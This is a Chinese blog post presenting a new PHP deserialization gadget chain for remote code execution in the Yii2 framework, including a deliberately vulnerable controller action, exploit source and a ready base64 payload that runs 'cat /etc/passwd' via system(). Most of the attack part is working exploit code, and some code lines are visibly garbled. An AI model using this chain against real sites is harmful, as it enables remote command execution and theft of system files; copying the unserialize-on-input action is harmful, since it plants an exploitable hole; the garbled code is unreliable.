写点什么

Yii2 反序列化 RCE 新 POP 链

用户头像
Thrash
关注
发布于: 2021 年 05 月 10 日
Yii2反序列化RCE 新POP链

0x 搭建环境


首先利用 composer 安装 yii2 框架


composer create-project yiisoft/yii2-app-basic yii2


yii2 version <= 2.0.41(GitHub 最新版本)


使用 docker 环境启动


cd yii2docker run -d -p 80:80 -v $(pwd):/var/www/html suanve/php:7.3-apache 访问 127.0.0.1:80/web 打开首页


环境搭建成功在 controllers/SiteController.php 添加代码


public function actionTest(){// echo base64_decode(file_get_contents("php://input"));return unserialize(base64_decode(file_get_contents("php://input")));}1x destruct 起点


往常大家的链子都是通过\yii\vendor\yiisoft\yii2\db\BatchQueryResult.php 的_dataReader 开始的


但是在最新版本官方添加了__wakeup 用于阻止反序列化


/*** Unserialization is disabled to prevent remote code execution in case application* calls unserialize() on user input containing specially crafted string.* @see CVE-2020-15148* @since 2.0.38*/public function __wakeup(){throw new \BadMethodCallException('Cannot unserialize ' . CLASS);}根据魔术方法 function __destruct()我们可以找到 vendor/codeception/codeception/ext/RunProcess.php 文件


这里因为process 可控,下文中 if 判断处 isRunning()可用来触发 call 方法,在当前文件中我们没有找到wakeup函数,证明这里是可以作为我们 pop 链的起点的。


2x call 调用


以前大家都用 vendor/fakerphp/faker/src/Faker/Generator.php 来调用 $this->format


官方在新版本也同样添加了__wakeup()做限制


public function __wakeup(){$this->formatters = [];}我们继续搜索 call 发现 vendor/fakerphp/faker/src/Faker/ValidGenerator.php 的call方法存在两处代码执行点,且没有__wakeup限制


这里this->validator,$this->maxRetries 三者可控


我们只需要给res 返回值可控


do 循环中的 if 判断可以直接把 maxRetries 设置为很大的数跳过 Exception


接着 $this->validator 可控制 我们就可以执行任意命令了


3x 二重 call


这里直接找到了一个 Faker 命名空间下的 vendor/fakerphp/faker/src/Faker/DefaultGenerator.php


我们将 $this->default 设置为'cat /etc/passwd' 这样 vendor/fakerphp/faker/src/Faker/ValidGenerator.php 中


$this->generator 为 DefaultGenerator.php`


$name 触发 call


$arguments 无所谓的情况下


$res 的结果将完全可控


this->generator, arguments);// $res 完全可控 4x exp:


<?phpnamespace Faker{


class DefaultGenerator{    protected $default ;    function __construct($argv)    {        $this->default = $argv;    }}
class ValidGenerator{ protected $generator; protected $validator; protected $maxRetries; function __construct($command,$argv) { $this->generator = new DefaultGenerator($argv); $this->validator = $command; $this->maxRetries = 99999999; }}
复制代码


}


namespace Codeception\Extension{use Faker\ValidGenerator;class RunProcess{private processes = [] ;function __construct(command,argv){this->processes[] = new ValidGenerator(argv);}}}


namespace {use Codeception\Extension\RunProcess;exp)));exit();}


TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6MTU6ImNhdCAvZXRjL3Bhc3N3ZCI7fXM6MTI6IgAqAHZhbGlkYXRvciI7czo2OiJzeXN0ZW0iO3M6MTM6IgAqAG1heFJldHJpZXMiO2k6OTk5OTk5OTk7fX19

用户头像

Thrash

关注

还未添加个人签名 2021.04.06 加入

还未添加个人简介

评论

发布
暂无评论
Yii2反序列化RCE 新POP链